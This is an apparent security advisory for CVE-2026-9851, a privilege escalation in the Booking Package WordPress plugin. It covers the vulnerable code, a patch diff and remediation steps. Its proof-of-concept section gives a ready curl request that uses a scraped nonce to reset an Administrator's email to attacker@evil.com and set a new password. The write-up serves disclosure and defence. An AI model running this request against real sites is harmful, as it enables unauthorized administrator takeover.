CVE-2026-9851: Booking Package Account Takeover via updateUser (CVSS 7.2)
Table of Contents
CVE-2026-9851 is a CVSS 7.2 (High) authenticated privilege escalation vulnerability in the Booking Package WordPress plugin. An attacker with Editor-level access can change the email address and password of any account — including an Administrator — through the updateUser AJAX action, leading to a full site takeover.
Vulnerability Summary
| Field | Value |
|---|---|
| Plugin Name | Booking Package |
| Plugin Slug | booking-package |
| CVE ID | CVE-2026-9851 |
| CVSS Score | 7.2 (High) |
| CVSS Vector | CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H |
| Vulnerability Type | Authenticated (Editor+) Privilege Escalation via Account Takeover |
| Affected Versions | <= 1.7.16 |
| Patched Version | 1.7.17 |
| Published | June 5, 2026 |
| Researcher | Md. Moniruzzaman Prodhan (NomanProdhan) - Knight Squad |
| Wordfence Advisory | Link |
Description
An attacker with Editor-level access can take over any account on the site, including the Administrator. The Booking Package plugin exposes an updateUser action through its main AJAX endpoint. The handler only checks a nonce. It never checks whether the current user is allowed to edit the target account.
The dispatcher calls the internal updateUser() function with its $administrator argument hard-coded to 1. That value disables the single ownership check inside the function. As a result, the target account is chosen only by attacker-supplied input, which is passed straight to wp_update_user().
Because of this, an Editor can submit the username of any Administrator together with a new email and password. The plugin then overwrites that Administrator’s credentials. This vulnerability affects all plugin versions up to and including 1.7.16.
Technical Analysis
Vulnerable Code Path
The plugin registers its main AJAX action for both logged-in and logged-out users.
File: index.php (lines 233–234)
add_action('wp_ajax_'.$this->action_control, array($this, 'wp_ajax_booking_package'));
add_action('wp_ajax_nopriv_'.$this->action_control, array($this, 'wp_ajax_booking_package'));
Here $this->action_control equals package_app_action. The handler wp_ajax_booking_package() validates only a nonce, then calls the dispatcher.
File: index.php (lines 4406–4427)
public function wp_ajax_booking_package(){
$_POST['mode'] = sanitize_text_field( esc_html($_POST['mode']) );
if (isset($_POST['nonce']) && check_ajax_referer($this->action_control . "_ajax", 'nonce')) {
$response = $this->selectedMode();
// ... encode and print $response
}
die();
}
The dispatcher selectedMode() routes each mode value to an internal function. It performs no capability check. For the updateUser mode it calls updateUser() with the first argument hard-coded to 1.
File: index.php (lines 4429–4469)
public function selectedMode(){
$response = array('status' => 'error', 'mode' => $_POST['mode']);
// ... no current_user_can() / is_user_logged_in() check here ...
if ($_POST['mode'] == 'updateUser') {
$response = $schedule->updateUser(1, null); // $administrator hard-coded to 1
}
// ...
}
The vulnerable function lives in the Schedule class. The $administrator parameter controls the only ownership check.
File: lib/Schedule.php (lines 796–830)
public function updateUser($administrator, $accountKey){
// ... extension validity check ...
$currentUser = wp_get_current_user();
if ($administrator === 0 && $currentUser->user_login !== sanitize_text_field($_POST['user_login'])) {
$response['error_messages'] = 'Error';
return $response;
}
$user = get_user_by('login', sanitize_text_field($_POST['user_login']));
// ... $userId = $user->ID; ...
}
The check on line 813 only runs when $administrator === 0. Because the dispatcher always passes 1, this branch is skipped. The function then looks up the target by the attacker-supplied user_login and updates it.
File: lib/Schedule.php (lines 849–868)
$userdata = array('ID' => $userId);
if (isset($_POST['user_email'])) {
$userdata['user_email'] = $_POST['user_email']; // attacker controlled
// ...
}
if (isset($_POST['user_pass'])) {
$login = 1;
$userdata['user_pass'] = $_POST['user_pass']; // attacker controlled
}
$user = wp_update_user($userdata); // rewrites email + password
How the Nonce Is Exposed
The endpoint is gated by a nonce, not by a capability. WordPress nonces are not authentication — they only confirm the request came from a page the user could load. The package_app_action_ajax nonce is printed into the plugin’s admin pages.
The plugin admin menu and its “Users” page are registered with the $editor_cap capability, which resolves to manage_categories.
File: index.php (lines 836–858)
$editor_cap = 'manage_categories';
// ...
add_menu_page($plugin_name, 'Booking Package', $editor_cap, ...);
add_submenu_page(__FILE__, $plugin_name, __('Users', 'booking-package'), $editor_cap, $this->plugin_name.'_members_page', array($this,'members_page'));
WordPress Editors hold manage_categories, so an Editor can open the “Users” page. That page creates the exact nonce the AJAX endpoint expects and prints it into the page for the front-end script.
File: index.php (lines 2416–2432)
public function members_page(){
// ...
$localize_script['action'] = $this->action_control; // package_app_action
$localize_script['nonce'] = wp_create_nonce($this->action_control."_ajax");
// ... localized to the page as window.setting_data ...
}
An Editor loads this page, reads setting_data.nonce from the page source, and uses it to call the updateUser action. The nonce check passes, and the missing capability check lets the request proceed.
Root Cause
The plugin treats a valid nonce as proof of authorization. The updateUser dispatcher branch has no current_user_can() check. The internal updateUser() function then runs with $administrator = 1, which removes the only guard that ties the action to the current user. Target selection falls entirely to attacker-supplied input.
Attack Impact
An Editor can rewrite the email and password of any user, including every Administrator. After changing an Administrator’s password, the attacker logs in with that account and gains full control of the site. This breaks the privilege boundary between Editor and Administrator and results in complete site takeover.
Proof of Concept
Disclaimer: This PoC is provided for educational and defensive security research purposes only.
Prerequisites
- WordPress site with the
booking-packageplugin installed and activated, version <= 1.7.16 - An account with Editor-level access (or higher, below Administrator) that the attacker controls
- The username of a target Administrator account (e.g.
admin)
Step-by-Step Reproduction
Step 1: Log in as the Editor
Sign in to /wp-admin/ with the Editor account. This account does not have the edit_users capability and cannot normally manage other users.
Step 2: Read the AJAX nonce
Open the plugin’s “Users” page in the browser:
/wp-admin/admin.php?page=booking-package_members_page
View the page source and find the localized nonce. It appears in the inline script as part of the setting_data object:
var setting_data = { "action": "package_app_action", "nonce": "a1b2c3d4e5", ... };
Copy the nonce value. Also copy the Editor’s session cookies from the browser (the wordpress_logged_in_* cookie).
Step 3: Call the updateUser action against the Administrator
Send the AJAX request with mode=updateUser, the target Administrator’s username, and a new email and password the attacker controls.
# Replace <SITE_URL>, <NONCE>, and the cookie value with your actual values.
# This rewrites the 'admin' account's email and password.
curl -s "<SITE_URL>/wp-admin/admin-ajax.php" \
-H "Cookie: wordpress_logged_in_xxxxx=<EDITOR_SESSION_COOKIE>" \
--data-urlencode "action=package_app_action" \
--data-urlencode "nonce=<NONCE>" \
--data-urlencode "mode=updateUser" \
--data-urlencode "user_login=admin" \
--data-urlencode "user_email=attacker@evil.com" \
--data-urlencode "user_pass=NewAdminPass123!"
Step 4: Confirm the response
A successful request returns JSON with "status":"success":
{"status":"success","login":1}
Step 5: Log in as the Administrator
Open /wp-login.php and sign in with username admin and the password set in Step 3 (NewAdminPass123!). The attacker now controls the Administrator account.
Expected Result
The target Administrator’s email address and password are overwritten with attacker-supplied values. The attacker logs in as the Administrator and gains full control of the site.
Verification
Check the wp_users table for the target account. The user_email column now holds attacker@evil.com, and the user_pass hash matches the new password. Logging in at /wp-login.php with the new credentials confirms the takeover.
Patch Analysis
What Changed
Version 1.7.17 adds authorization checks at two layers. The fix gates the dispatcher and hardens the internal updateUser() function so a missing or wrong $administrator value can no longer bypass authorization.
index.php—selectedMode(): The dispatcher now rejects the request up front unless the user is logged in and holdsedit_others_posts,booking_package_manager, orbooking_package_editor.lib/Schedule.php—updateUser(): The function now requires a logged-in user, blocks editing an Administrator account unless the caller also hasmanage_options, and blocks editing any other user unless the caller hasedit_users.
The same hardening was applied to the related createUser() and deleteUser() functions.
Fix Explanation
The patched dispatcher stops unauthorized callers before any user-management code runs. This addresses the root cause — the missing capability check on the AJAX branch.
The added checks inside updateUser() provide defense-in-depth. The key control is the Administrator guard: even if a low-privilege user reaches the function, they cannot edit an account that holds manage_options unless they hold it too. A second check blocks editing any account other than the caller’s own without the edit_users capability. Together these stop the Editor-to-Administrator takeover regardless of the hard-coded $administrator value.
Code Diff (Key Changes)
--- a/index.php
+++ b/index.php
@@ public function selectedMode(){
- $response = array('status' => 'error', 'mode' => $_POST['mode']);
+ $response = array('status' => 'error', 'mode' => sanitize_text_field($_POST['mode']) );
+ if (is_user_logged_in() === false || (current_user_can('edit_others_posts') === false && current_user_can('booking_package_manager') === false && current_user_can('booking_package_editor') === false) ) {
+
+ return $response;
+
+ }
--- a/lib/Schedule.php
+++ b/lib/Schedule.php
@@ public function updateUser($administrator, $accountKey){
- $currentUser = wp_get_current_user();
- if ($administrator === 0 && $currentUser->user_login !== sanitize_text_field($_POST['user_login'])) {
-
- $response['error_messages'] = 'Error';
- return $response;
-
- }
-
- $user = get_user_by('login', sanitize_text_field($_POST['user_login']));
- if ($user === false) {
-
- return $response;
-
- } else {
-
- $userId = $user->ID;
- $userOldEmail = $user->user_email;
-
- }
+ if (is_user_logged_in() === false) {
+
+ $response['error_messages'] = 'Unauthorized: You must be logged in.';
+ return $response;
+
+ }
+
+ $currentUser = wp_get_current_user();
+ $user = get_user_by('login', sanitize_text_field($_POST['user_login']));
+ if ($user === false) {
+
+ return $response;
+
+ }
+
+ $userId = $user->ID;
+ $userOldEmail = $user->user_email;
+
+ if ( user_can( $userId, 'manage_options' ) && current_user_can( 'manage_options' ) === false ) {
+
+ $response['error_messages'] = 'Permission denied: You cannot edit an administrator account.';
+ return $response;
+
+ }
+
+ if ($currentUser->ID !== $userId && current_user_can('edit_users') === false) {
+
+ $response['error_messages'] = 'Permission denied: You cannot edit this user.';
+ return $response;
+
+ }
+
+ if ($administrator === 0 && $currentUser->user_login !== sanitize_text_field($_POST['user_login'])) {
+
+ $response['error_messages'] = 'Error';
+ return $response;
+
+ }
Timeline
| Date | Event |
|---|---|
| Unknown | Vulnerability discovered and reported by Md. Moniruzzaman Prodhan (NomanProdhan) |
| June 5, 2026 | Publicly disclosed by Wordfence |
| June 5, 2026 | Patched version 1.7.17 released |
Remediation
Update the booking-package plugin to version 1.7.17 or later.
If an immediate update is not possible, restrict who holds Editor-level access on the site, and review all Administrator and Editor accounts for unexpected email or password changes. After updating, rotate the passwords of any accounts that may have been altered.